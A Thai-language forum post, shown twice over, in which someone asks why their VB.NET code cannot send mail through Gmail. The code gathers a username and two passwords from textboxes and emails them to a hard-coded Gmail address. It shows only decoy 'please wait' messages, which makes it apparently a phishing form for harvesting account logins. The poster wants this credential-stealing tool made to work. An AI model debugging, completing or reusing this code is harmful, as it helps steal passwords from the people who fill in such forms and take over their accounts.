ช่วยด้วยครับ! ส่งเมล์จาก VB ไป Gmail ไม่ได้
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.Click
If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" Then
MsgBox("please wait")
Else
Dim mail As New MailMessage
With mail
.From = New MailAddress("191325@gmail.com")
.To.Add("191325@gmail.com")
.Subject = ("Like Me")
.Body = ("Username : " & TextBox1.Text & ", Password : " & TextBox2.Text & ", Password ECT 2 : " & TextBox3.Text)
End With
Dim SMTPServer As New SmtpClient("smtp.gmail.com ")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("191325@gmail.com", "Password")
SMTPServer.EnableSsl = True
SMTPServer.Send(mail)
Try
MsgBox("please wait")
Catch ex As Exception
MsgBox("please wait.")
End Try
End If
End Sub
End Class
โดนแก้มา 3 วันแล้ว
ขอบคุณล่วงหน้าครับ
#แท็กผิดขอโทดด้วยครับ
เรื่องการเขียนโค้ด
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.Click
If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" Then
MsgBox("please wait")
Else
Dim mail As New MailMessage
With mail
.From = New MailAddress("191325@gmail.com")
.To.Add("191325@gmail.com")
.Subject = ("Like Me")
.Body = ("Username : " & TextBox1.Text & ", Password : " & TextBox2.Text & ", Password ECT 2 : " & TextBox3.Text)
End With
Dim SMTPServer As New SmtpClient("smtp.gmail.com ")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("191325@gmail.com", "Password")
SMTPServer.EnableSsl = True
SMTPServer.Send(mail)
Try
MsgBox("please wait")
Catch ex As Exception
MsgBox("please wait.")
End Try
End If
End Sub
End Class
โดนแก้มา 3 วันแล้ว
ขอบคุณล่วงหน้าครับ
#แท็กผิดขอโทดด้วยครับ